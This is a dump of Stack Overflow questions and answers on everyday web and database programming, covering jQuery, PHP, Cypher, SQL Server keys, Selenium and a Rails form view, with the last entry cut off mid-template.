10934100	0	 <p>Even if you could do this, the difference would be barely noticeable. JSON is parsed REALLY fast. What you need, I believe, is to make several timed calls, maybe using setInterval. This way you can request more content, say, every 2 seconds. If more content is found, append it to the existing one.</p> <p>If you already have all the content you will get, and want to "animate" the content being added, you can parse the JSON received as an object and do something like</p> <pre><code>for (var i=0; i&lt;content.length; setTimeout(i++, 1000)){ $(container).append(content[i]); } </code></pre>
19003011	0	How can I format input fields to form time of day using PHP date() function? <p>I want the user to select a time of day which I then want to convert using the <code>date()</code> function so it can be inserted into a Mysql database <code>datetime</code> table field.</p> <pre><code>&lt;select name="event-start-time-hours" class="event-time"&gt; &lt;option value="1"&gt;1&lt;/option&gt; &lt;option value="2"&gt;2&lt;/option&gt; &lt;option value="3"&gt;3&lt;/option&gt; &lt;option value="4"&gt;4&lt;/option&gt; &lt;option value="5"&gt;5&lt;/option&gt; &lt;option value="6"&gt;6&lt;/option&gt; &lt;option value="7"&gt;7&lt;/option&gt; &lt;option value="8" selected&gt;8&lt;/option&gt; &lt;option value="9"&gt;9&lt;/option&gt; &lt;option value="10"&gt;10&lt;/option&gt; &lt;option value="11"&gt;11&lt;/option&gt; &lt;option value="12"&gt;12&lt;/option&gt; &lt;/select&gt; &lt;select name="event-start-time-mins" class="event-time"&gt; &lt;option value="00" selected &gt;00&lt;/option&gt; &lt;option value="05"&gt;05&lt;/option&gt; &lt;option value="10"&gt;10&lt;/option&gt; &lt;option value="15"&gt;15&lt;/option&gt; &lt;option value="20"&gt;20&lt;/option&gt; &lt;option value="25"&gt;25&lt;/option&gt; &lt;option value="30"&gt;30&lt;/option&gt; &lt;option value="35"&gt;35&lt;/option&gt; &lt;option value="40"&gt;40&lt;/option&gt; &lt;option value="45"&gt;45&lt;/option&gt; &lt;option value="50"&gt;50&lt;/option&gt; &lt;option value="55"&gt;55&lt;/option&gt; &lt;/select&gt; &lt;select name="event-start-timeofday" class="event-time"&gt; &lt;option value="" selected &gt;AM&lt;/option&gt; &lt;option value=""&gt;PM&lt;/option&gt; &lt;/select&gt; </code></pre> <p>I tried:</p> <pre><code> $time = $_POST['event-start-time-mins'] .$_POST['event-start-time-hours']; var_dump($dob = date("H:i:s", $time)); print_r($_POST['event-start-time-hours']); print_r($_POST['event-start-time-mins']); </code></pre> <p>Which returns:</p> <blockquote> <p>string(8) "01:03:22" 220</p> </blockquote> <p>So how do I format this correctly? Many thanks.</p>
16778618	0	Which way is better, and how to pass parameters to windows.forms.timer <p>What I want to accomplish it the following thing:</p> <p>I have a lot of "checks(if/else if etc)" inside a timer, that his interval is 1000 ms,</p> <p>there is a text file that getting updated and the timer read it every 1000 ms and check for some specific changes,</p> <p>under 1 of those conditions if it is true the timer, i need to wait 10 sec and then read another text file and then continue with the rest of the timer code.</p> <p>but in the mean time the timer keep running under those 10 sec and preform the checks every 1sec for all the other conditions and this 1 also.</p> <p>what i thought to do it </p> <p>if the conditions i wanted it true i will start a new timer with 10sec interval and it will continue with the code of that specific part.</p> <p>but what i have hard time to accomplish is how to pass parameters into that timer</p> <p>such as </p> <pre><code>newTimer.Start(int "parameter", string "parameter b", list&lt;string&gt; parameters c") </code></pre> <p>etc etc</p> <p>or if you got any other idea i will be glad to hear.</p>
4823053	0	jquery register event on hyperlinks inside the div <p>I wanted to apply events on hyperlinks under Id's with name "topicColumnTemplate". below is the HTML snippet and I am syntax => <code>$('[id^=topicColumnTemplate] a').click(function() { // do operation});</code></p> <p>But events are not getting applied, Links are generated dynamically if i use after once all the dom is populated using link id through syntax => <code>$('[id^=link]').click(function() { // do operation});</code> it WORKS</p> <p>What is wanted is in javascript intialization wanted to use above first syntax where in using the ul id which is already present in DOM &amp; is not generated dynamically. Just giving div id of ul i.e [id^=topicColumnTemplate] works but it is getting applied all around the ul block which causes function invokation every where around the block &amp; I need function gets invocated only when </p> <p>*<em>*</em> replace "-" with "&lt;" for html</p> <pre><code>&lt;ul id="topicColumnTemplate1" class="listcol "&gt; &lt;li id="row_0" class="listrow "&gt; &lt;a id="link_0" class="listtopic"&gt;user1&lt;/a&gt; &lt;/li&gt; &lt;li id="row_1" class="listrow "&gt; &lt;a id="link_1" class="listtopic"&gt;user2&lt;/a&gt; &lt;/li&gt; &lt;li id="row_2" class="listrow "&gt; &lt;a id="link_2" class="listtopic"&gt;user3&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt; &lt;ul id="topicColumnTemplate2" class="listcol "&gt; &lt;li id="row_0" class="listrow "&gt; &lt;a id="link_0" class="listtopic" href="#"&gt;user1&lt;/a&gt; &lt;/li&gt; &lt;li id="row_1" class="listrow "&gt; &lt;a id="link_1" class="listtopic" href="#"&gt;user2&lt;/a&gt; &lt;/li&gt; &lt;li id="row_2" class="listrow "&gt; &lt;a id="link_2" class="listtopic" href="#"&gt;user3&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt; </code></pre>
20822439	0	 <p>I suspect you are trying to compile your code as C++ rather than C. In C++, <code>try</code> is a <a href="http://en.cppreference.com/w/cpp/keyword" rel="nofollow">reserved word</a> (it is used in exception handling).</p> <pre><code>$ gcc test.c $ g++ test.c test.c:3:6: error: expected unqualified-id before 'try' </code></pre> <p>You can use <code>-x</code> to set the language explicitly (with either <code>gcc</code> or <code>g++</code>):</p> <pre><code>$ gcc -x c test.c $ gcc -x c++ test.c test.c:3:6: error: expected unqualified-id before 'try' </code></pre>
40017770	0	 <p>If your result will be dynamic(The string length would vary in future) the below solution may work,</p> <pre><code>private void rellenarSpinnerConFoliosDeMaquinasDelPunto(List&lt;String&gt; folios) { try{ maquinas = dbOn.getMaquinasDePunto(idPunto); for (int i = 0; i &lt; maquinas.size(); i++) { foliosDeMaquinas.add(maquinas.get(i).getcFolioMaquina().toString().split("-")[1]); } } catch(ArrayIndexOutOfBoundsException e){ e.printStackTrace(); } adaptadorFoliosMaquina = new ArrayAdapter&lt;&gt;(this, android.R.layout.simple_spinner_dropdown_item, folios); adaptadorFoliosMaquina.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item); spn_folioMaquina.setAdapter(adaptadorFoliosMaquina); spn_folioMaquina.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() { </code></pre>
30280448	0	Change HTML Theme of a specific port <p>I want know that how can we change the theme of page of a specific port from default listing to custom looking theme.</p> <p>I am looking to change my FTP port 21's theme from default to custom, dont exactly know how to..</p>
25737201	0	Six degrees of Kevin Bacon <p>There are a couple other posts about degrees of Kevin Bacon, and the answers on those posts are similar to what I came up with myself before looking it up. But it's evident that I'm still doing something wrong from the results I get and the way the performance of my query falls off as I increase the degree of separation from Kevin Bacon.</p> <p>Here's my query to find all actors with one degree of Kevin Bacon:</p> <pre><code>match p=(:Person {name:"Kevin Bacon"})-[:ACTED_IN*..2]-(:Person) return p </code></pre> <p>If I understand correctly, that's equivalent to this:</p> <pre><code>match p=(:Person {name:"Kevin Bacon"})-[:ACTED_IN]-&gt;()&lt;-[:ACTED_IN]-(:Person) return p </code></pre> <p>And indeed, both of these queries return the same number of rows. But if I modify the first version of the query and increase the path length to 6 (i.e., three degrees of Kevin Bacon) it returns 978 rows. There are only 133 Person nodes in the database, so I would expect it to return at most 133 rows.</p> <p>My guess is that it's returning multiple paths to some of the Person nodes. How do I tell it to return only the shortest path to each? Basically, I want to perform a single depth-first or breadth-first search. I think it might involve <code>WITH</code>, but I don't really understand how to use that yet.</p>
37420319	0	Accessing Atlas, individual, and embedded resources/images easily <p>Basically, I have a bunch of images that I can combine into a single image(an atlas) or use individually. For testing/designing purposes, I would like to keep all the images separate but for release they should all be combine into the atlas(for non-embeddable compilers) or embedded.</p> <p>e.g., suppose I have 100 sprites. I can create a single atlas for them, use them all individually unembedded, or embed the atlas, or embed all the image.</p> <p>I'd like to start out with the individual+unembedded case for development then move to the embedded atlas case or embedded individual case(but I think this is probably not as good as the embedded atlas).</p> <p>Is there an easy way to set this up in C# so the transition will be minimal?</p> <p>The problem with the embedded atlas is that I would have to convert loading images(simple Image.FromFile into extracting images from the atlas).</p> <p>Just curious what would be a good approach to remove the need for rewriting a lot of code in the future when the switch is made.</p> <p>I could have something like Image.FromAtlas that essentially figures out the details(uses FromFile if we are in "development mode" or extracts the image from the atlas if in production... I think the embedded case would be rather trivial to implement).</p> <p>What do you think? Thanks.</p>
30363178	0	I would like drop down menu selections to bring post different images when different choices are selected <p>Here is my basic pull down selection tabs. How do I get each choice to post a different image (preferably html source images) when selected. </p> <p>I would like the images to post within the div as well if possible. </p> <pre><code> &lt;div id= "PERSONAL"&gt; &lt;p id= "Range"&gt; Preferred Distance &lt;/p&gt; &lt;select class= "Distance" onchange="report(this.value)"&gt; ` &lt;option value="Pick3"&gt;Pick Your Range&lt;/option&gt; &lt;option value="100 Miles"&gt;100 Miles&lt;/option&gt; &lt;option value="1000 Miles"&gt;1000 Miles&lt;/option&gt; &lt;option value="More than 2000 Miles"&gt;More than 2000 Miles&lt;/option&gt; &lt;option value="Around the World"&gt;Around the World&lt;/option&gt; &lt;/select&gt; &lt;p id= "Weather"&gt; Preferred Weather &lt;/p&gt; &lt;select class= "Weather" onchange="report(this.value)"&gt; &lt;option value="Pick2"&gt;Pick Your Weather&lt;/option&gt; &lt;option value="Cold"&gt;Cold&lt;/option&gt; &lt;option value="Mild"&gt;Mild&lt;/option&gt; &lt;option value="Hot"&gt;Hot&lt;/option&gt; &lt;option value="Anything"&gt;Anything&lt;/option&gt; &lt;/select&gt; &lt;p id= "Moisture"&gt; Wet or Dry &lt;/p&gt; &lt;select class= "Moisture" onchange="report(this.value)"&gt; &lt;option value="Pick1"&gt;Pick Your Moisture&lt;/option&gt; &lt;option value="Desert"&gt;Desert Dry&lt;/option&gt; &lt;option value="Moderate"&gt;Wet and Dry&lt;/option&gt; &lt;option value="Rainy"&gt;Jungle Wet&lt;/option&gt; &lt;option value="Snow"&gt;Snow Time!&lt;/option&gt; &lt;/select&gt; &lt;/div&gt; </code></pre>
32871952	0	 <p>The following seems to work:</p> <pre><code>match (aType:Type:Class)-[:ANNOTATED_BY]-&gt;()-[:OF_TYPE]-&gt;(anAnnotationType:Type), (aType:Type)-[:DECLARES]-&gt;(aMethod:Method) optional match (aMethod)-[:ANNOTATED_BY]-&gt;()-[:OF_TYPE]-&gt;(tType:Type) with anAnnotationType, aMethod, tType where anAnnotationType.fqn = "com.mycompany.services.Service" and aMethod.name =~ "update.*" and ((tType is null) or not (tType.fqn = "com.mycompany.services.Transact")) return aMethod.name, tType </code></pre>
13860974	0	Deleting all rows from all tables for a specific Database in a SQL Server <blockquote> <p><strong>Possible Duplicate:</strong><br> <a href="http://stackoverflow.com/questions/1899846/how-to-delete-all-rows-from-all-tables-in-a-sql-server-database">How to delete all rows from all tables in a SQL Server database?</a> </p> </blockquote> <p>I want to delete all rows from all tables for a specific database in a sql server which has 10's of other databases as well.</p> <p>I find this post with this query but not sure how it will work</p> <pre><code>EXEC sp_MSForEachTable 'ALTER TABLE ? NOCHECK CONSTRAINT ALL' GO EXEC sp_MSForEachTable 'DELETE FROM ?' GO EXEC sp_MSForEachTable 'ALTER TABLE ? CHECK CONSTRAINT ALL' GO </code></pre> <p>My SQL Server name ServerBanta and Database name is DingDong2010.</p> <p>Taken from <a href="http://stackoverflow.com/questions/1899846/how-to-delete-all-rows-from-all-tables-in-a-sql-server-database">How to delete all rows from all tables in a SQL Server database?</a></p>
37418025	0	 <p>Just dont rewrite lastQuote and whichQuoteToChoose on each click event. so i moved those variables out of click event :) </p> <pre><code> $(document).ready(function() { var lastQuote = ""; var whichQuoteToChoose = ""; $("#getQuote").on("click", function() { $.getJSON("http://codepen.io/thomasdean/pen/Yqmgyx.js", function(json) { var html = ""; //alert(lastQuote) while (whichQuoteToChoose === lastQuote) { whichQuoteToChoose = Math.floor(Math.random() * 12); // returns a number between 0 and 11 } lastQuote = whichQuoteToChoose; // this converts raw data into html json = json.filter(function(val) { return (val.id == whichQuoteToChoose); }); json.forEach(function(val) { html += "&lt;div class = 'quote'&gt;" html += "&lt;h2&gt;\"" + val.Quotation + "\"&lt;/h2&gt;&lt;h2&gt;" + val.Quotee + "&lt;/h2&gt;" html += "&lt;/div&gt;" }); $(".quote").html(html); }); }); }); </code></pre>
21896950	0	 <p>Upside of GUIDs:</p> <p>GUIDs are good if you ever want offline clients to be able to create new records, as you will never get a primary key clash when the new records are synchronised back to the main database. </p> <p>Downside of GUIDs:</p> <p>GUIDS as primary keys can have an effect on the performance of the DB, because for a clustered primary key, the DB will want to keep the rows in order of the key values. But this means a lot of inserts between existing records, because the GUIDs will be random. </p> <p>Using IDENTITY column doesn't suffer from this because the next record is guaranteed to have the highest value and so the row is just tacked on the end every time. No re-shuffle needs to happen.</p> <p>There is a compromise which is to generate a pseudo-GUID which means you would expect a key clash every 70 years or so, but helps the indexing immensely.</p> <p>The other downsides are that a) they do take up more storage space, and b) are a real pain to write SQL against, i.e. much easier to type <code>UPDATE TABLE SET FIELD = 'value' where KEY = 50003</code> than <code>UPDATE TABLE SET FIELD = 'value' where KEY = '{F820094C-A2A2-49cb-BDA7-549543BB4B2C}'</code> </p> <p>Your declaration of the IDENTITY column looks fine to me. The gaps in your key values are probably due to failed attempts to add a row. The IDENTITY value will be incremented but the row never gets committed. Don't let it bother you, it happens in practically every table. </p> <p>EDIT:</p> <p>This question covers what I was meaning by pseudo-GUID. <a href="http://stackoverflow.com/questions/5977137/inserts-with-sequential-guid-key-on-clustered-index-not-significantly-faster">INSERTs with sequential GUID key on clustered index not significantly faster</a></p> <p>In SQL Server 2005+ you can use NEWSEQUENTIALID() to get a random value that is supposed to be greater than the previous ones. See here for more info <a href="http://technet.microsoft.com/en-us/library/ms189786%28v=sql.90%29.aspx" rel="nofollow">http://technet.microsoft.com/en-us/library/ms189786%28v=sql.90%29.aspx</a></p>
11214493	0	 <p>You can do a look up of the id, and retrieve the link of the page stored.</p> <p>example: <a href="https://developers.facebook.com/tools/explorer?method=GET&amp;path=191825050853209" rel="nofollow">https://developers.facebook.com/tools/explorer?method=GET&amp;path=191825050853209</a></p> <p>refer to: <a href="https://developers.facebook.com/docs/reference/api/page/" rel="nofollow">https://developers.facebook.com/docs/reference/api/page/</a> under link connection.</p> <p>This method will require use of the graph api, or one of the sdks.</p> <p>refer to: <a href="https://developers.facebook.com/docs/reference/api" rel="nofollow">https://developers.facebook.com/docs/reference/api</a></p>
21038781	0	 <pre><code>@echo off pushd c:\test_dir for /r %%a in (*) do ( java -Durl=http://localhost:8983/solr/update/extract?literal.id=%%~nxa -Dtype=application/word -jar post.jar "%%~dpfnxa" ) </code></pre> <p>This will process the files recursively.You can filter the files "wild-cards" expression -> <code>for /r %%a in (*doc)</code> or do it only for the current folder <code>for %%a in (*)</code> .</p>
27152722	0	 <p>Another approach would simply use media queries to change the width of the divs. This would allow you to avoid adding more markup.</p> <p><a href="http://jsfiddle.net/14ecjy7n/1/" rel="nofollow">http://jsfiddle.net/14ecjy7n/1/</a></p> <pre><code>div { box-sizing: border-box; float: left; } @media all and (max-width: 639px) { div { width: 50%; } } @media all and (min-width: 640px) { div { width: 100%; } } </code></pre>
36683081	0	Chrome does not show exit full screen window when moving mouse to top of screen <p>So I was testing my site for full screen mode and I noticed that when you move your mouse to the top of your screen when in full screen mode it doesn't show the little window that allowed you to exit full screen without hitting F11. Is this a bug or is it intentionally removed from the latest chrome update? It's pretty annoying. </p> <p>PS: I did recently reinstall my pc and since then I noticed some changes I am not very happy about :( </p>
691194	0	Why is my implementation of C++ map not storing values? <p>I have a class called ImageMatrix, which implements the C++ map in a recursive fashion; the end result is that I have a 3 dimensional array.</p> <pre><code>typedef uint32_t VUInt32; typedef int32_t VInt32; class ImageMatrix { public: ImageMatrixRow operator[](VInt32 rowIndex) private: ImageMatrixRowMap rows; }; typedef std::map &lt;VUInt32, VInt32&gt; ImageMatrixChannelMap; class ImageMatrixColumn { public: VInt32 &amp;operator[](VUInt32 channelIndex); private: ImageMatrixChannelMap channels; }; typedef std::map&lt;VUInt32, ImageMatrixColumn&gt; ImageMatrixColumnMap; class ImageMatrixRow { public: ImageMatrixColumn operator[](VUInt32 columnIndex); private: ImageMatrixColumnMap columns; }; typedef std::map&lt;VUInt32, ImageMatrixRow&gt; ImageMatrixRowMap; </code></pre> <p>Each operator simply returns a map-wrapper class within, like so:</p> <pre><code>ImageMatrixRow ImageMatrix::operator[](VInt32 rowIndex) { return rows[rowIndex]; } ImageMatrixColumn ImageMatrixRow::operator[](VUInt32 columnIndex) { return columns[columnIndex]; } VInt32 &amp;ImageMatrixColumn::operator[](VUInt32 channelIndex) { return channels[channelIndex]; } </code></pre> <p>Basically, when I set the value as say 100, and test the value to cout, it shows as 0, and not the number to which I had set it.</p> <pre><code>for (VUInt32 a = 0; a &lt; GetRowCount(); a++) { for (VUInt32 b = 0; b &lt; GetColumnCount(); b++) { for (VUInt32 c = 0; c &lt; GetChannelCount(); c++) { VInt32 value = 100; matrix[a][b][c] = value; VInt32 test = matrix[a][b][c]; // pixel = 100, test = 0 - why? cout &lt;&lt; pixel &lt;&lt; "/" &lt;&lt; test &lt;&lt; endl; } } } </code></pre> <p>Note: I've altered the original code for this example so that it takes up less space, so some syntax errors may occur (please don't point them out).</p>
38181664	0	 <p>Building on @barak manos' idea, i would just go and look for all my dictionary keys in every line and replace them on site like so:</p> <pre><code>dict = { '¼': '.25', '½': '.50', } def convert(line, dict): for x in dict: line = line.replace(x, dict[x]) line = line.replace(' ' + dict[x], ' 0' + dict[x]) return line a = '1¼ ½ 564as 25½' print(convert(a,dict)) # returns: '1.25 0.50 564as 25.50' </code></pre> <p>The position of the characters you are looking for in the sentence and/or the presence of integers around them or not is irrelevant.</p>
12049315	0	 <p>There is a easier way to work around the problem using <code>JavascriptExecutor</code>.</p> <p>For example:</p> <pre><code>document.getElementsByClassName('post-tag')[0].click(); </code></pre> <p>The above javascript would click on the "Selenium" tag on the top right of this page (next to your question), even if it were hidden (hypothetically). </p> <p>All you need to do is issue this JS instruction via the <code>JavascriptExecutor</code> interface like so:</p> <pre><code>(JavascriptExecutor(webdriver)).executeScript("document.getElementsByClassName('post-tag')[0].click();"); </code></pre> <p>This would use the JS sandbox and synthetic click event to perform the click action. Although it defeats the purpose of WebDriver user activity simulation, you can use it in niche scenarios like in your case to good effect.</p>
31289958	0	auto fix errors when removing a user control property <p>When I remove a user control property that I have created and used in a project. There will be as many errors as times I have used control in project. For example imagine I have user control and it has a property named <code>p1</code>. when I remove <code>p1</code> I get errors saying myusercontrol.p1 doesn't exist. </p> <p>Is there a way to get rid of them automatically?</p>
35638617	0	 <p>You code is not formatted with indents, so this may be wrong.</p> <p>I suspect your indentation results in <code>if j in screen:</code> running after the <code>for j...</code> loop, not in it. Also, read the definition of <code>pass</code>.</p>
36789589	0	 <p>As far as I understand, you don't need to use <code>Semaphore</code> here. Instead, you should use <code>ReentrantReadWriteLock</code>. Additionally, the <code>test</code> method is not thread safe. </p> <p>The sample below is the implementation of your logic using RWL</p> <pre><code>private ConcurrentMap&lt;String, ReadWriteLock&gt; map = null; void test() { String hash = null; ReadWriteLock rwl = new ReentrantReadWriteLock(false); ReadWriteLock lock = map.putIfAbsent(hash, rwl); if (lock == null) { lock = rwl; } if (lock.writeLock().tryLock()) { try { compute(); map.remove(hash); } finally { lock.writeLock().unlock(); } } else { lock.readLock().lock(); try { compute(); } finally { lock.readLock().unlock(); } } } </code></pre> <p>In this code, the first successful thread would acquire <code>WriteLock</code> while other <code>Thread</code>s would wait for release of write lock. After release of a <code>WriteLock</code> all <code>Thread</code>s waiting for release would proceed concurrently.</p>
12090560	0	 <p>According to <a href="http://msdn.microsoft.com/en-us/library/hh180779%28v=vs.95%29.aspx?ppud=4" rel="nofollow">this</a> article you must set <code>[MediaStreamAttributeKeys.CodecPrivateData]</code></p> <p>in the format that codec is expecting ([START_CODE][SPS][START_CODE][PPS])</p> <pre><code>videoStreamAttributes[MediaStreamAttributeKeys.CodecPrivateData] = "000000012742000D96540A0FD8080F162EA00000000128CE060C88"; </code></pre>
721811	0	Excel VBA - Initializing Empty User Types and Detecting Nulls <p>I have created a user defined type to contain some data that I will use to populate my form. I am utilizing an array of that user defined type, and I resize that array as I pull data from an off-site server.</p> <p>In order to make my program easier to digest, I have started to split it into subroutines. However, when my program is initialized, I cannot tell when a particular array has been initialized, and so I cannot be certain that I can call a size function to see if the array is empty.</p> <p>Is there a way to initialize an empty user type or detect a null user type? Currently, I am hard-coding it in and I would prefer a more elegant solution.</p>
22040153	0	 <p>I'd use a <code>Timer</code> object.</p> <p>There's a full example:</p> <pre><code>public class TimerActivity extends Activity { @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); MyTimerTask myTask = new MyTimerTask(); Timer myTimer = new Timer(); myTimer.schedule(myTask, 3000, 1500); } // In this class you'd define an instance of your `AsyncTask` class MyTimerTask extends TimerTask { MyAsyncTask atask; final class MyAsyncTask extends AsyncTask&lt;Param1, Param2, Param3&gt; { // Define here your onPreExecute(), doInBackground(), onPostExecute() methods // and whetever you need ... } public void run() { atask = new MyAsyncTask&lt;Param1, Param2, Param3&gt;(); atask.execute(); } } } </code></pre>
34570311	0	does not change the options <p>I'm trying to make the options to search by company name or identification of the company with the options on rails. I'm using it with simple_form, someone can help me to choose the options.</p> <p>the line number is 60 which says : <code>&lt;%= f.collection_radio_buttons :options, [['C', 'CLIENTE'] ,['R', 'RUC']], :first, :last %&gt;</code></p> <pre><code>&lt;%= simple_form_for(@referral_guide) do |f| %&gt; &lt;%= f.error_notification %&gt; &lt;div class="form-inputs"&gt; &lt;table&gt; &lt;tr&gt; &lt;th class="text-center" width="450px"&gt;&lt;%=h f.input :fecha, label: 'Fecha de Emisión' %&gt;&lt;/th&gt; &lt;th class="text-center" width="450px"&gt;&lt;%=h f.input :fecha_vencimiento, label: 'Fecha de Vencimiento' %&gt;&lt;/th&gt; &lt;/tr&gt; &lt;/table&gt; &lt;table&gt; &lt;tr&gt; &lt;th class="text-center" width="900px"&gt;&lt;strong&gt;La Guia de Remisión incluye Impuesto (Se genera en caso la Factura) ? : &lt;/strong&gt;&lt;%= f.collection_radio_buttons :impuesto, [['S', 'Si'], ['N', 'No']], :first, :last %&gt; &lt;/th&gt; &lt;/tr&gt; &lt;/table&gt; &lt;table&gt; &lt;tr&gt; &lt;th class="text-center" width="150px"&gt;&lt;%=h f.input :moneda, collection: ["S/.", "US$"], label: 'Tipo de Moneda', :input_html =&gt; { :style =&gt; 'width: 80'} %&gt; &lt;/th&gt; &lt;th class="text-center" width="200px"&gt;&lt;%=h f.input :costo, label: 'Costo mínimo', :input_html =&gt; { :style =&gt; 'width: 190' } %&gt;&lt;/th&gt; &lt;th class="text-center" width="200px"&gt;&lt;%=h f.association :status, :input_html =&gt; { :style =&gt; 'width: 180'} %&gt;&lt;/th&gt; &lt;th class="text-center" width="320px"&gt;&lt;%=h f.input :orden_compra, label: 'Orden de Compra', :input_html =&gt; { :style =&gt; 'width: 240' } %&gt;&lt;/th&gt; &lt;/tr&gt; &lt;/table&gt; &lt;table&gt; &lt;tr&gt; &lt;th class="text-center" width="450px"&gt;&lt;%=h f.association :sale, label: 'Vendedor', :input_html =&gt; { :style =&gt; 'width: 420px'},label_method: "#{:nombre}", value_method: :id %&gt;&lt;/th&gt; &lt;th class="text-center" width="450px"&gt;&lt;%= f.association :motivo, label: 'Motivo de Traslado', label_method: "#{:nombre}", value_method: :id, :input_html =&gt; {:style =&gt; 'width: 420px'} %&gt; &lt;/th&gt; &lt;/tr&gt; &lt;/table&gt; &lt;table&gt; &lt;tr&gt; &lt;th class="text-center" width="225px"&gt;&lt;%=h f.input :marca_placa, label: 'Marca y Número de Placa', :input_html =&gt; { :style =&gt; 'width: 200px' }%&gt; &lt;/th&gt; &lt;th class="text-center" width="225px"&gt;&lt;%=h f.input :numero_constancia, label: 'Número de Constancia de Inscripción', :input_html =&gt; { :style =&gt; 'width: 200px' } %&gt;&lt;/th&gt; &lt;th class="text-center" width="225px"&gt;&lt;%=h f.input :numero_licencia, label: 'Número de Licencia', :input_html =&gt; { :style =&gt; 'width: 200px' } %&gt;&lt;/th&gt; &lt;th class="text-center" width="225px"&gt;&lt;%=h f.input :chofer, label: 'chofer', :input_html =&gt; { :style =&gt; 'width: 200px' } %&gt;&lt;/th&gt; &lt;/tr&gt; &lt;/table&gt; &lt;table&gt; &lt;tr&gt; &lt;th class="text-center" width="300px"&gt;&lt;%=h f.input :nombre_transporte, label: 'Nombre de la empresa de Transportes', :input_html =&gt; { :style =&gt; 'width: 250px' } %&gt; &lt;th class="text-center" width="300px"&gt;&lt;%=h f.input :ruc_transporte, label: 'Ruc de la empresa de Transportes', :input_html =&gt; { :style =&gt; 'width: 250px' } %&gt; &lt;th class="text-center" width="300px"&gt;&lt;%=h f.input :chofer_transporte, label: 'Chofer de la empresa de Transportes', :input_html =&gt; { :style =&gt; 'width: 250px' } %&gt;&lt;/th&gt; &lt;/tr&gt; &lt;/table&gt; &lt;table&gt; &lt;tr&gt; &lt;th class="text-center" width="600px"&gt;&lt;%=h f.association :customer, label_method: "#{:nombre}", value_method: :id, prompt: "Debes buscar el nombre de la empresa", label: 'Empresa', :input_html =&gt; { :style =&gt; 'width: 550px' } %&gt; &lt;/th&gt; &lt;th class="text-center" width="300px"&gt;&lt;%=h f.association :customer, label_method: "#{:ruc}", value_method: :id, prompt: "Debes buscar el ruc de la empresa", label: 'RUC', :input_html =&gt; { :style =&gt; 'width: 250px' } %&gt;&lt;/th&gt; &lt;/tr&gt; &lt;/table&gt; &lt;p&gt;&lt;strong&gt;Debe Seleccionar las opciones para buscar el nombre o ruc del cliente&lt;/strong&gt;&lt;/p&gt; &lt;%= f.collection_radio_buttons :options, [['C', 'CLIENTE'] ,['R', 'RUC']], :first, :last %&gt; &lt;% if f.object.options == 'C' %&gt; &lt;%=h f.association :customer, label_method: "#{:nombre}", value_method: :id, prompt: "Debes buscar el nombre de la empresa", label: 'Empresa', :input_html =&gt; { :style =&gt; 'width: 550px' } %&gt; &lt;% else %&gt; &lt;%=h f.association :customer, label_method: "#{:ruc}", value_method: :id, prompt: "Debes buscar el ruc de la empresa", label: 'RUC', :input_html =&gt; { :style =&gt; 'width: 250px' } %&gt; &lt;% end %&gt; &lt;%=h f.input :numero_factura, label: 'Ingresar el Numero de Factura que vas a generar, si no desea generar, poner cero', :input_html =&gt; { :style =&gt; 'width: 250px' } %&gt; &lt;div&gt; &lt;table id="items"&gt; &lt;tr&gt; &lt;th class="text-center" width="60px"&gt;ITEM&lt;/th&gt; &lt;th class="text-center" width="225px"&gt;DESCRIPCION&lt;/th&gt; &lt;th class="text-center" width="100px"&gt;CANTIDAD&lt;/th&gt; &lt;th class="text-center" width="110px"&gt;PRECIO&lt;/th&gt; &lt;th class="text-center" width="150px"&gt;TOTAL&lt;/th&gt; &lt;th class="text-center" width="63px"&gt;&lt;/th&gt; &lt;/tr&gt; &lt;/table&gt; &lt;% @totales = 0.00 %&gt; &lt;%= simple_nested_form_for @referral_guide, :wrapper =&gt; false do |g| %&gt; &lt;table id="detail_referral_guides"&gt; &lt;%= g.simple_fields_for :detail_referral_guides do |p| %&gt; &lt;tr class="fields"&gt; &lt;th align="center" width="74px" class="text-center"&gt;&lt;%= p.input :item, label: false %&gt;&lt;/th&gt; &lt;th align="center" width="276px" class="description"&gt;&lt;%= p.input :description, label: false, input_html: {:rows =&gt; 3} %&gt;&lt;/th&gt; &lt;th align="center" width="123px" class="text-center"&gt;&lt;%= p.input :cantidad, label: false %&gt;&lt;/th&gt; &lt;th align="center" width="135px" class="text-right"&gt;&lt;%= p.input :precio, label: false %&gt;&lt;/th&gt; &lt;% @total_price = p.object.cantidad.to_s.to_d * p.object.precio.to_s.to_d %&gt; &lt;th align="right" width="184px" class="text-right"&gt;&lt;%= number_with_precision(@total_price, :delimiter =&gt; ',', :separator =&gt; '.' ) %&gt;&lt;/th&gt; &lt;th align="center" width="77px" class="text-center"&gt;&lt;%= p.link_to_remove "", class: "btn btn-danger fa fa-trash" %&gt;&lt;/th&gt; &lt;% @totales = @totales + @total_price %&gt; &lt;/tr&gt; &lt;% end %&gt; &lt;/table&gt; &lt;% if f.object.impuesto == 'S' %&gt; &lt;% @valor_venta = @totales / (1 + ( @empresa.impuesto / 100.00)) %&gt; &lt;% @valor_igv = @valor_venta * (@empresa.impuesto / 100.00) %&gt; &lt;% @valor_totales = @totales %&gt; &lt;% else %&gt; &lt;% @valor_venta = @totales %&gt; &lt;% @valor_igv = @totales * (@empresa.impuesto / 100.00) %&gt; &lt;% @valor_totales = @valor_venta + @valor_igv %&gt; &lt;% end %&gt; &lt;table id="items"&gt; &lt;tr&gt; &lt;th width="700px"&gt;&lt;/th&gt; &lt;th class="text-center" width="110px"&gt;VALOR DE VENTA : &lt;/th&gt; &lt;th class="text-right" width="150px"&gt;&lt;%= number_with_precision(@valor_venta, :delimiter =&gt; ',', :separator =&gt; '.') %&gt;&lt;/th&gt; &lt;/tr&gt; &lt;tr&gt; &lt;th width="700px"&gt;&lt;/th&gt; &lt;th class="text-center" width="110px"&gt;I.G.V. : &lt;/th&gt; &lt;th class="text-right" width="150px"&gt;&lt;%= number_with_precision(@valor_igv, :delimiter =&gt; ',', :separator =&gt; '.') %&gt;&lt;/th&gt; &lt;/tr&gt; &lt;tr&gt; &lt;th width="700px"&gt;&lt;/th&gt; &lt;th class="text-center" width="110px"&gt;TOTAL : &lt;/th&gt; &lt;th class="text-right" width="150px"&gt;&lt;div class="due"&gt;&lt;/div&gt; &lt;%= number_with_precision(@valor_totales, :delimiter =&gt; ',', :separator =&gt; '.') %&gt; &lt;/th&gt; &lt;/tr&gt; &lt;/table&gt; &lt;% if f.object.impuesto == 'S' 